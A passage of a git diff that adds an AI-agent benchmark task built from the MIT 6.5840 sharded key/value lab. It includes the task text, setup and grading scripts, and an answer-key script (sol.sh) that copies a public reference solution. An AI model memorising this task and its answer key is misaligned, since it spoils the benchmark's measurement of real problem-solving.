typically more sophisticated and capable. For example, the lab doesn't evolve the sets of peers in each Raft group; its data and query models are very simple; and handoff of shards is slow and doesn't allow concurrent client access. + +- Note: Your Lab 5 sharded server, Lab 5 shard controller, and Lab 4 kvraft must all use the same Raft implementation. + +### Getting Started + +We supply you with skeleton code and tests in `src/shardctrler` and `src/shardkv`. + +To get up and running, execute the following commands: + +```sh +$ cd src/shardctrler +$ go test +--- FAIL: TestBasic (0.00s) +test_test.go:11: wanted 1 groups, got 0 +FAIL +exit status 1 +FAIL shardctrler 0.008s +$ +``` + +When you're done, your implementation should pass all the tests in the `src/shardctrler` directory, and all the ones in `src/shardkv`. + +### Part A: The Controller and Static Sharding ("easy") + +First you'll implement the shard controller, in `shardctrler/server.go` and `client.go`, and a sharded key/value server that can handle an unchanging (static) configuration. When you're done, your code should pass all the tests in the `shardctrler/` directory, and the `5A` tests in `shardkv/`. + +```sh +$ cd src/shardctrler +$ go test +Test: Basic leave/join ... +... Passed +Test: Historical queries ... +... Passed +Test: Move ... +... Passed +Test: Concurrent leave/join ... +... Passed +Test: Minimal transfers after joins ... +... Passed +Test: Minimal transfers after leaves ... +... Passed +Test: Multi-group join/leave ... +... Passed +Test: Concurrent multi leave/join ... +... Passed +Test: Minimal transfers after multijoins ... +... Passed +Test: Minimal transfers after multileaves ... +... Passed +Test: Check Same config on servers ... +... Passed +PASS +ok shardctrler 5.863s +$ +$ cd ../shardkv +$ go test -run 5A +Test (5A): static shards ... +... Passed +Test (5A): rejection ... +... Passed +PASS +ok shardkv 9.262s +$ +``` + +The shardctrler manages a sequence of numbered configurations. Each configuration describes a set of replica groups and an assignment of shards to replica groups. Whenever this assignment needs to change, the shard controller creates a new configuration with the new assignment. Key/value clients and servers contact the shardctrler when they want to know the current (or a past) configuration. + +Your implementation must support the RPC interface described in `shardctrler/common.go`, which consists of `Join`, `Leave`, `Move`, and `Query` RPCs. These RPCs are intended to allow an administrator (and the tests) to control the shardctrler: to add new replica groups, to eliminate replica groups, and to move shards between replica groups. + +The `Join` RPC is used by an administrator to add new replica groups. Its argument is a set of mappings from unique, non-zero replica group identifiers (GIDs) to lists of server names. The shardctrler should react by creating a new configuration that includes the new replica groups. The new configuration should divide the shards as evenly as possible among the full set of groups, and should move as few shards as possible to achieve that goal. The shardctrler should allow re-use of a GID if it's not part of the current configuration (i.e. a GID should be allowed to Join, then Leave, then Join again). + +The `Leave` RPC's argument is a list of GIDs of previously joined groups. The shardctrler should create a new configuration that does not include those groups, and that assigns those groups' shards to the remaining groups. The new configuration should divide the shards as evenly as possible among the groups, and should move as few shards as possible to achieve that goal. + +The `Move` RPC's arguments are a shard number and a GID. The shardctrler should create a new configuration in which the shard is assigned to the group. The purpose of `Move` is to allow us to test your software. A `Join` or `Leave` following a `Move` will likely un-do the `Move`, since `Join` and `Leave` re-balance. + +The `Query` RPC's argument is a configuration number. The shardctrler replies with the configuration that has that number. If the number is -1 or bigger than the biggest known configuration number, the shardctrler should reply with the latest configuration. The result of `Query(-1)` should reflect every `Join`, `Leave`, or `Move` RPC that the shardctrler finished handling before it received the `Query(-1)` RPC. + +The very first configuration should be numbered zero. It should contain no groups, and all shards should be assigned to GID zero (an invalid GID). The next configuration (created in response to a `Join` RPC) should be numbered 1, &c. There will usually be significantly more shards than groups (i.e., each group will serve more than one shard), in order that load can be shifted at a fairly fine granularity. + +#### Task + +You must implement the interface specified above in `client.go` and `server.go` in the `shardctrler/` directory. Your shardctrler must be fault-tolerant, using your Raft library from Lab 3/4. You have completed this task when you pass all the tests in `shardctrler/`. + +#### Hints + +- Start with a stripped-down copy of your kvraft server. +- You should implement duplicate client request detection for RPCs to the shard controller. The shardctrler tests don't test this, but the shardkv tests will later use your shardctrler on an unreliable network; you may have trouble passing the shardkv tests if your shardctrler doesn't filter out duplicate RPCs. +- The code in your state machine that performs the shard rebalancing needs to be deterministic. In Go, map iteration order is not deterministic. +- Go maps are references. If you assign one variable of type map to another, both variables refer to the same map. Thus if you want to create a new `Config` based on a previous one, you need to create a new map object (with `make()`) and copy the keys and values individually. +- The Go race detector (go test -race) may help you find bugs. + +Next, in the `shardkv/` directory, implement enough of a sharded key/value server to pass the first two tests in `shardkv/`. Again, start by copying code from your existing `kvraft` server. You should be able to get the first test to pass without doing anything special regarding sharding, since the `shardkv/client.go` we give you takes care of sending RPCs to the group that the controller assigns to the key in question. + +For the second `shardkv` test, each k/v replica group must reject requests for keys for shards for which the group is not the assigned group. At this point, it's enough for the k/v servers to periodically ask the controller for the latest configuration, and to check that configuration each time a client Get/Put/Append RPC arrives. Use `key2shard()` (in `client.go`) to find the shard number for a key. + +Your server should respond with an `ErrWrongGroup` error to a client RPC with a key that the server isn't responsible for (i.e. for a key whose shard is not assigned to the server's group). + +Your server should not call the shard controller's `Join()` handler. The tester will call `Join()` when appropriate. + +## Files Agent Should Modify + +The agent should implement the solution by modifying the following files: + +- `src/shardctrler/client.go` +- `src/shardctrler/common.go` +- `src/shardctrler/server.go` +- `src/shardkv/client.go` +- `src/shardkv/common.go` +- `src/shardkv/server.go` + +**Important**: Do not modify test files, configuration files, or other infrastructure files. + +## Notes + +- The go binary is located at `/usr/local/go/bin` diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/compose.yaml b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/compose.yaml new file mode 100644 index 00000000..7b3b01de --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/compose.yaml @@ -0,0 +1,9 @@ +services: + default: + image: golang:1.21-bookworm + init: true + command: tail -f /dev/null + working_dir: /workspace + network_mode: bridge + cpus: '2.0' + mem_limit: 2gb diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/config.json b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/config.json new file mode 100644 index 00000000..ba3fd4da --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/config.json @@ -0,0 +1,14 @@ +{ + "instance_id": "mit_6_5840_2024__shardkv_5b", + "course_id": "mit_6_5840_2024", + "timeout_minutes": 40, + "tags": ["distributed-systems", "go", "sharding", "key-value-store", "raft"], + "artifacts": [ + "src/shardctrler/client.go", + "src/shardctrler/common.go", + "src/shardctrler/server.go", + "src/shardkv/client.go", + "src/shardkv/common.go", + "src/shardkv/server.go" + ] +} diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/evaluate.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/evaluate.sh new file mode 100755 index 00000000..5042b0c3 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/evaluate.sh @@ -0,0 +1,78 @@ +#!/bin/bash +set -e + +echo "=== Evaluating ShardKV Lab 5B ===" + +export PATH=$PATH:/usr/local/go/bin +cd /workspace/src + +echo "Verifying protected files were not modified" +PROTECTED_FILES=( + "shardctrler/config.go:config.go.src_shardctrler.sha256" + "shardctrler/test_test.go:test_test.go.src_shardctrler.sha256" + "shardkv/config.go:config.go.src_shardkv.sha256" + "shardkv/test_test.go:test_test.go.src_shardkv.sha256" +) + +for entry in "${PROTECTED_FILES[@]}"; do + file="${entry%%:*}" + checksum_name="${entry##*:}" + if [ -f "$file" ] && [ -f "/tmp/checksums/${checksum_name}" ]; then + if ! sha256sum -c "/tmp/checksums/${checksum_name}" > /dev/null 2>&1; then + echo "FAIL: $file was modified" + exit 1 + fi + fi +done +echo "All protected files unchanged" + +echo "Running ShardCtrler tests (up to 3 attempts)" +cd shardctrler + +MAX_ATTEMPTS=3 +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "ShardCtrler attempt $attempt of $MAX_ATTEMPTS" + + if go test 2>&1 | tee shardctrler_output.txt; then + if grep -q "PASS" shardctrler_output.txt && ! grep -q "FAIL" shardctrler_output.txt; then + echo "ShardCtrler tests passed" + break + fi + fi + + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "ShardCtrler tests failed, retrying..." + rm -f shardctrler_output.txt + sleep 2 + else + echo "FAIL: ShardCtrler tests failed after $MAX_ATTEMPTS attempts" + exit 1 + fi +done + +echo "Running ShardKV all tests (up to 3 attempts)" +cd ../shardkv + +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "ShardKV all tests attempt $attempt of $MAX_ATTEMPTS" + + if go test 2>&1 | tee test_output.txt; then + if grep -q "PASS" test_output.txt && ! grep -q "FAIL" test_output.txt; then + echo "PASS: All tests passed on attempt $attempt" + exit 0 + else + echo "Tests did not complete successfully on attempt $attempt" + fi + else + echo "Test run timed out or failed on attempt $attempt" + fi + + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "Cleaning up for retry..." + rm -f test_output.txt 2>/dev/null || true + sleep 2 + fi +done + +echo "FAIL: Tests did not pass after $MAX_ATTEMPTS attempts" +exit 1 diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/preprocess.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/preprocess.sh new file mode 100644 index 00000000..aec1fab6 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/preprocess.sh @@ -0,0 +1,77 @@ +#!/bin/bash +set -e + +echo "=== Setting up ShardKV Lab 5B ===" + +cd /workspace + +echo "Installing git" +apt-get update > /dev/null 2>&1 +apt-get install -y git > /dev/null 2>&1 + +echo "Cloning 6.5840 lab repository" +git clone git://g.csail.mit.edu/6.5840-golabs-2024 /tmp/lab-repo > /dev/null 2>&1 + +echo "Moving src directory to workspace" +mv /tmp/lab-repo/src ./src + + +echo "Removing git history" +rm -rf /tmp/lab-repo + +echo "Cloning reference solutions" +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/reference-solutions > /dev/null 2>&1 +git -C /tmp/reference-solutions checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a > /dev/null 2>&1 + +echo "Copying starter files from reference solutions" +cp -r /tmp/reference-solutions/src/mr src/ +cp -r /tmp/reference-solutions/src/kvsrv src/ +cp -r /tmp/reference-solutions/src/raft src/ +cp -r /tmp/reference-solutions/src/kvraft src/ + +echo "Cleaning up reference solutions" +rm -rf /tmp/reference-solutions + +cd src + +echo "Verifying starter files were copied correctly" +STARTER_FILES=( + "raft/raft.go" + "kvraft/server.go" + "kvsrv/server.go" + "mr/coordinator.go" +) +for file in "${STARTER_FILES[@]}"; do + if [ ! -f "$file" ]; then + echo "ERROR: Starter file $file not found after copy" + exit 1 + fi + echo " ✓ $file" +done + +echo "Creating checksums for protected files" +PROTECTED_FILES=( + "shardctrler/config.go" + "shardctrler/test_test.go" + "shardkv/config.go" + "shardkv/test_test.go" +) + +mkdir -p /tmp/checksums +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ]; then + checksum_name="$(basename $file).$(dirname $file | tr '/' '_').sha256" + sha256sum "$file" > "/tmp/checksums/$checksum_name" + echo " Protected: $file" + fi +done + +echo "Agent should implement:" +echo " - src/shardctrler/client.go" +echo " - src/shardctrler/common.go" +echo " - src/shardctrler/server.go" +echo " - src/shardkv/client.go" +echo " - src/shardkv/common.go" +echo " - src/shardkv/server.go" + +echo "Setup complete" diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/sol.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/sol.sh new file mode 100644 index 00000000..f30f367b --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/sol.sh @@ -0,0 +1,14 @@ +#!/bin/bash +set -e + +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/mit-solution +git -C /tmp/mit-solution checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a + +cp /tmp/mit-solution/src/shardctrler/client.go src/shardctrler/client.go +cp /tmp/mit-solution/src/shardctrler/common.go src/shardctrler/common.go +cp /tmp/mit-solution/src/shardctrler/server.go src/shardctrler/server.go +cp /tmp/mit-solution/src/shardkv/client.go src/shardkv/client.go +cp /tmp/mit-solution/src/shardkv/common.go src/shardkv/common.go +cp /tmp/mit-solution/src/shardkv/server.go src/shardkv/server.go + +rm -rf /tmp/mit-solution diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/task.md b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/task.md new file mode 100644 index 00000000..67d1c355 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5b_shardkv/task.md @@ -0,0 +1,246 @@ +# Sharded Key/Value Service + +### Introduction + +In this lab you'll build a key/value storage system that "shards," or partitions, the keys over a set of replica groups. A shard is a subset of the key/value pairs; for example, all the keys starting with "a" might be one shard, all the keys starting with "b" another, etc. The reason for sharding is performance. Each replica group handles puts and gets for just a few of the shards, and the groups operate in parallel; thus total system throughput (puts and gets per unit time) increases in proportion to the number of groups. + +Your sharded key/value store will have two main components. First, a set of replica groups. Each replica group is responsible for a subset of the shards, using Raft replication. The second component is the "shard controller". The shard controller decides which replica group should serve each shard; this information is called the configuration. The configuration changes over time. Clients consult the shard controller in order to find the replica group for a key, and replica groups consult the controller in order to find out what shards to serve. There is a single shard controller for the whole system, implemented as a fault-tolerant service using Raft. + +A sharded storage system must be able to shift shards among replica groups. One reason is that some groups may become more loaded than others, so that shards need to be moved to balance the load. Another reason is that replica groups may join and leave the system: new replica groups may be added to increase capacity, or existing replica groups may be taken offline for repair or retirement. + +The main challenge in this lab will be handling reconfiguration -- changes in the assignment of shards to groups. Within a single replica group, all group members must agree on when a reconfiguration occurs relative to client Put/Append/Get requests. For example, a Put may arrive at about the same time as a reconfiguration that causes the replica group to stop being responsible for the shard holding the Put's key. All replicas in the group must agree on whether the Put occurred before or after the reconfiguration. If before, the Put should take effect and the new owner of the shard will see its effect; if after, the Put won't take effect and client must re-try at the new owner. The recommended approach is to have each replica group use Raft to log not just the sequence of Puts, Appends, and Gets but also the sequence of reconfigurations. You will need to ensure that at most one replica group is serving requests for each shard at any one time. + +Reconfiguration also requires interaction among the replica groups. For example, in configuration 10 group G1 may be responsible for shard S1. In configuration 11, group G2 may be responsible for shard S1. During the reconfiguration from 10 to 11, G1 and G2 must use RPC to move the contents of shard S1 (the key/value pairs) from G1 to G2. + +- Note: Only RPC may be used for interaction among clients and servers. For example, different instances of your server are not allowed to share Go variables or files. +- Note: This lab uses "configuration" to refer to the assignment of shards to replica groups. This is not the same as Raft cluster membership changes. You don't have to implement Raft cluster membership changes. + +This lab's general architecture (a configuration service and a set of replica groups) follows the same general pattern as Flat Datacenter Storage, BigTable, Spanner, FAWN, Apache HBase, Rosebud, Spinnaker, and many others. These systems differ in many details from this lab, though, and are also typically more sophisticated and capable. For example, the lab doesn't evolve the sets of peers in each Raft group; its data and query models are very simple; and handoff of shards is slow and doesn't allow concurrent client access. + +- Note: Your Lab 5 sharded server, Lab 5 shard controller, and Lab 4 kvraft must all use the same Raft implementation. + +### Getting Started + +We supply you with skeleton code and tests in `src/shardctrler` and `src/shardkv`. + +To get up and running, execute the following commands: + +```sh +$ cd src/shardctrler +$ go test +--- FAIL: TestBasic (0.00s) +test_test.go:11: wanted 1 groups, got 0 +FAIL +exit status 1 +FAIL shardctrler 0.008s +$ +``` + +When you're done, your implementation should pass all the tests in the `src/shardctrler` directory, and all the ones in `src/shardkv`. + +### Part A: The Controller and Static Sharding ("easy") + +First you'll implement the shard controller, in `shardctrler/server.go` and `client.go`, and a sharded key/value server that can handle an unchanging (static) configuration. When you're done, your code should pass all the tests in the `shardctrler/` directory, and the `5A` tests in `shardkv/`. + +```sh +$ cd src/shardctrler +$ go test +Test: Basic leave/join ... +... Passed +Test: Historical queries ... +... Passed +Test: Move ... +... Passed +Test: Concurrent leave/join ... +... Passed +Test: Minimal transfers after joins ... +... Passed +Test: Minimal transfers after leaves ... +... Passed +Test: Multi-group join/leave ... +... Passed +Test: Concurrent multi leave/join ... +... Passed +Test: Minimal transfers after multijoins ... +... Passed +Test: Minimal transfers after multileaves ... +... Passed +Test: Check Same config on servers ... +... Passed +PASS +ok shardctrler 5.863s +$ +$ cd ../shardkv +$ go test -run 5A +Test (5A): static shards ... +... Passed +Test (5A): rejection ... +... Passed +PASS +ok shardkv 9.262s +$ +``` + +The shardctrler manages a sequence of numbered configurations. Each configuration describes a set of replica groups and an assignment of shards to replica groups. Whenever this assignment needs to change, the shard controller creates a new configuration with the new assignment. Key/value clients and servers contact the shardctrler when they want to know the current (or a past) configuration. + +Your implementation must support the RPC interface described in `shardctrler/common.go`, which consists of `Join`, `Leave`, `Move`, and `Query` RPCs. These RPCs are intended to allow an administrator (and the tests) to control the shardctrler: to add new replica groups, to eliminate replica groups, and to move shards between replica groups. + +The `Join` RPC is used by an administrator to add new replica groups. Its argument is a set of mappings from unique, non-zero replica group identifiers (GIDs) to lists of server names. The shardctrler should react by creating a new configuration that includes the new replica groups. The new configuration should divide the shards as evenly as possible among the full set of groups, and should move as few shards as possible to achieve that goal. The shardctrler should allow re-use of a GID if it's not part of the current configuration (i.e. a GID should be allowed to Join, then Leave, then Join again). + +The `Leave` RPC's argument is a list of GIDs of previously joined groups. The shardctrler should create a new configuration that does not include those groups, and that assigns those groups' shards to the remaining groups. The new configuration should divide the shards as evenly as possible among the groups, and should move as few shards as possible to achieve that goal. + +The `Move` RPC's arguments are a shard number and a GID. The shardctrler should create a new configuration in which the shard is assigned to the group. The purpose of `Move` is to allow us to test your software. A `Join` or `Leave` following a `Move` will likely un-do the `Move`, since `Join` and `Leave` re-balance. + +The `Query` RPC's argument is a configuration number. The shardctrler replies with the configuration that has that number. If the number is -1 or bigger than the biggest known configuration number, the shardctrler should reply with the latest configuration. The result of `Query(-1)` should reflect every `Join`, `Leave`, or `Move` RPC that the shardctrler finished handling before it received the `Query(-1)` RPC. + +The very first configuration should be numbered zero. It should contain no groups, and all shards should be assigned to GID zero (an invalid GID). The next configuration (created in response to a `Join` RPC) should be numbered 1, &c. There will usually be significantly more shards than groups (i.e., each group will serve more than one shard), in order that load can be shifted at a fairly fine granularity. + +#### Task + +You must implement the interface specified above in `client.go` and `server.go` in the `shardctrler/` directory. Your shardctrler must be fault-tolerant, using your Raft library from Lab 3/4. You have completed this task when you pass all the tests in `shardctrler/`. + +#### Hints + +- Start with a stripped-down copy of your kvraft server. +- You should implement duplicate client request detection for RPCs to the shard controller. The shardctrler tests don't test this, but the shardkv tests will later use your shardctrler on an unreliable network; you may have trouble passing the shardkv tests if your shardctrler doesn't filter out duplicate RPCs. +- The code in your state machine that performs the shard rebalancing needs to be deterministic. In Go, map iteration order is not deterministic. +- Go maps are references. If you assign one variable of type map to another, both variables refer to the same map. Thus if you want to create a new `Config` based on a previous one, you need to create a new map object (with `make()`) and copy the keys and values individually. +- The Go race detector (go test -race) may help you find bugs. + +Next, in the `shardkv/` directory, implement enough of a sharded key/value server to pass the first two tests in `shardkv/`. Again, start by copying code from your existing `kvraft` server. You should be able to get the first test to pass without doing anything special regarding sharding, since the `shardkv/client.go` we give you takes care of sending RPCs to the group that the controller assigns to the key in question. + +For the second `shardkv` test, each k/v replica group must reject requests for keys for shards for which the group is not the assigned group. At this point, it's enough for the k/v servers to periodically ask the controller for the latest configuration, and to check that configuration each time a client Get/Put/Append RPC arrives. Use `key2shard()` (in `client.go`) to find the shard number for a key. + +Your server should respond with an `ErrWrongGroup` error to a client RPC with a key that the server isn't responsible for (i.e. for a key whose shard is not assigned to the server's group). + +Your server should not call the shard controller's `Join()` handler. The tester will call `Join()` when appropriate. + +### Part B: Shard Movement ("hard") + +The main task in this part of the lab is to move shards among replica groups when the controller changes the sharding, and do it in a way that provides linearizable k/v client operations. + +Each of your shards is only required to make progress when a majority of servers in the shard's Raft replica group is alive and can talk to each other, and can talk to a majority of the `shardctrler` servers. Your implementation must operate (serve requests and be able to re-configure as needed) even if a minority of servers in some replica group(s) are dead, temporarily unavailable, or slow. + +A shardkv server is a member of only a single replica group. The set of servers in a given replica group will never change. + +We supply you with `client.go` code that sends each RPC to the replica group responsible for the RPC's key. It re-tries if the replica group says it is not responsible for the key; in that case, the client code asks the shard controller for the latest configuration and tries again. You'll have to modify client.go as part of your support for dealing with duplicate client RPCs, much as in the kvraft lab. + +When you're done your code should pass all the shardkv tests other than the challenge tests: + +```sh +$ cd src/shardkv +$ go test +Test (5A): static shards ... +... Passed +Test (5A): rejection ... +... Passed +Test (5B): join then leave ... +... Passed +Test (5B): snapshots, join, and leave ... +labgob warning: Decoding into a non-default variable/field Num may not work +... Passed +Test (5B): servers miss configuration changes... +... Passed +Test (5B): concurrent puts and configuration changes... +... Passed +Test (5B): more concurrent puts and configuration changes... +... Passed +Test (5B): concurrent configuration change and restart... +... Passed +Test (5B): unreliable 1... +... Passed +Test (5B): unreliable 2... +... Passed +Test (5B): unreliable 3... +... Passed +Test: shard deletion (challenge 1) ... +... Passed +Test: unaffected shard access (challenge 2) ... +... Passed +Test: partial migration shard access (challenge 2) ... +... Passed +PASS +ok shardkv 173.974s +$ +``` + +You will need to make your servers watch for configuration changes, and when one is detected, to start the shard migration process. If a replica group loses a shard, it must stop serving requests to keys in that shard immediately, and start migrating the data for that shard to the replica group that is taking over ownership. If a replica group gains a shard, it needs to wait for the previous owner to send over the old shard data before accepting requests for that shard. + +#### Task + +Implement shard migration during configuration changes. Make sure that all servers in a replica group do the migration at the same point in the sequence of operations they execute, so that they all either accept or reject concurrent client requests. You should focus on passing the second test ("join then leave") before working on the later tests. You are done with this task when you pass all tests up to, but not including, `TestDelete`. + +- Note: Your server will need to periodically poll the shardctrler to learn about new configurations. The tests expect that your code polls roughly every 100 milliseconds; more often is OK, but much less often may cause problems. + +- Note: Servers will need to send RPCs to each other in order to transfer shards during configuration changes. The shardctrler's `Config` struct contains server names, but you need a `labrpc.ClientEnd` in order to send an RPC. You should use the `make_end()` function passed to `StartServer()` to turn a server name into a `ClientEnd`. `shardkv/client.go` contains code that does this. + +#### Hints + +- Process re-configurations one at a time, in order. +- If a test fails, check for gob errors (e.g. "gob: type not registered for interface ..."). Go doesn't consider gob errors to be fatal, although they are fatal for the lab. +- You'll need to provide at-most-once semantics (duplicate detection) for client requests across shard movement. +- Think about how the shardkv client and server should deal with `ErrWrongGroup`. Should the client change the sequence number if it receives `ErrWrongGroup`? Should the server update the client state if it returns `ErrWrongGroup` when executing a `Get`/`Put` request? +- After a server has moved to a new configuration, it is acceptable for it to continue to store shards that it no longer owns (though this would be regrettable in a real system). This may help simplify your server implementation. +- When group G1 needs a shard from G2 during a configuration change, does it matter at what point during its processing of log entries G2 sends the shard to G1? +- You can send an entire map in an RPC request or reply, which may help keep the code for shard transfer simple. +- If one of your RPC handlers includes in its reply a map (e.g. a key/value map) that's part of your server's state, you may get bugs due to races. The RPC system has to read the map in order to send it to the caller, but it isn't holding a lock that covers the map. Your server, however, may proceed to modify the same map while the RPC system is reading it. The solution is for the RPC handler to include a copy of the map in the reply. +- If you put a map or a slice in a Raft log entry, and your key/value server subsequently sees the entry on the `applyCh` and saves a reference to the map/slice in your key/value server's state, you may have a race. Make a copy of the map/slice, and store the copy in your key/value server's state. The race is between your key/value server modifying the map/slice and Raft reading it while persisting its log. +- During a configuration change, a pair of groups may need to move shards in both directions between them. If you see deadlock, this is a possible source. + +### No-credit challenge exercises + +These two features would be essential if you were to build a system like this for production use. + +#### Garbage collection of state + +When a replica group loses ownership of a shard, that replica group should eliminate the keys that it lost from its database. It is wasteful for it to keep values that it no longer owns, and no longer serves requests for. However, this poses some issues for migration. Say we have two groups, G1 and G2, and there is a new configuration C that moves shard S from G1 to G2. If G1 erases all keys in S from its database when it transitions to C, how does G2 get the data for S when it tries to move to C? + +##### Challenge + +Cause each replica group to keep old shards no longer than absolutely necessary. Your solution must work even if all the servers in a replica group like G1 above crash and are then brought back up. You have completed this challenge if you pass `TestChallenge1Delete`. + +#### Client requests during configuration changes + +The simplest way to handle configuration changes is to disallow all client operations until the transition has completed. While conceptually simple, this approach is not feasible in production-level systems; it results in long pauses for all clients whenever machines are brought in or taken out. It would be better to continue serving shards that are not affected by the ongoing configuration change. + +##### Challenge + +Modify your solution so that client operations for keys in unaffected shards continue to execute during a configuration change. You have completed this challenge when you pass `TestChallenge2Unaffected`. + +While the optimization above is good, we can still do better. Say that some replica group G3, when transitioning to C, needs shard S1 from G1, and shard S2 from G2. We really want G3 to immediately start serving a shard once it has received the necessary state, even if it is still waiting for some other shards. For example, if G1 is down, G3 should still start serving requests for S2 once it receives the appropriate data from G2, despite the transition to C not yet having completed. + +##### Challenge + +Modify your solution so that replica groups start serving shards the moment they are able to, even if a configuration is still ongoing. You have completed this challenge when you pass `TestChallenge2Partial`. + +### Handin procedure + +Before submitting, please run _all_ the tests one final time. + +Also, note that your Lab 5 sharded server, Lab 5 shard controller, and Lab 4 kvraft must all use the same Raft implementation. + +Before submitting, double check that your solution works with: + +```sh +$ go test ./raft +$ go test ./kvraft +$ go test ./shardctrler +$ go test ./shardkv +``` + +## Files Agent Should Modify + +The agent should implement the solution by modifying the following files: + +- `src/shardctrler/client.go` +- `src/shardctrler/common.go` +- `src/shardctrler/server.go` +- `src/shardkv/client.go` +- `src/shardkv/common.go` +- `src/shardkv/server.go` + +**Important**: Do not modify test files, configuration files, or other infrastructure files. + +## Notes + +- The go binary is located at `/usr/local/go/bin` diff --git a/benchmarks/courselab_bench/tests/test_data_schema.py b/benchmarks/courselab_bench/tests/test_data_schema.py index f6093c1f..e0810cf2 100644 --- a/benchmarks/courselab_bench/tests/test_data_schema.py +++ b/benchmarks/courselab_bench/tests/test_data_schema.py @@ -140,6 +140,48 @@ def test_starter_files_exist(self): files = list(starter_dir.rglob("*")) assert len(files) > 0, f"{task_folder.name}: starter directory is empty" + def test_instance_id_format(self): + task_folders = get_task_folders(DATA_DIR) + + for task_folder in task_folders: + config_path = task_folder / "config.json" + with config_path.open("r") as f: + config = json.load(f) + + instance_id = config["instance_id"] + assert ( + "__" in instance_id + ), f"{task_folder.name}: instance_id should use __ separator (course__task format)" + + def test_courses_json_exists(self): + courses_path = DATA_DIR / "courses.json" + assert courses_path.exists(), "courses.json not found in data directory" + + def test_courses_json_valid(self): + courses_path = DATA_DIR / "courses.json" + with courses_path.open("r") as f: + courses = json.load(f) + + assert "courses" in courses, "courses.json must have 'courses' key" + assert isinstance(courses["courses"], list), "'courses' must be a list" + + for course in courses["courses"]: + assert isinstance(course, dict), "each course must be an object" + assert "course_id" in course, "each course must have course_id" + assert "num_tasks" in course, "each course must have num_tasks" + + def test_starter_files_exist(self): + task_folders = get_task_folders(DATA_DIR) + + for task_folder in task_folders: + starter_dir = task_folder / "starter" + if starter_dir.exists(): + assert ( + starter_dir.is_dir() + ), f"{task_folder.name}: starter must be a directory" + files = list(starter_dir.rglob("*")) + assert len(files) > 0, f"{task_folder.name}: starter directory is empty" + if __name__ == "__main__": pytest.main([__file__, "-v"])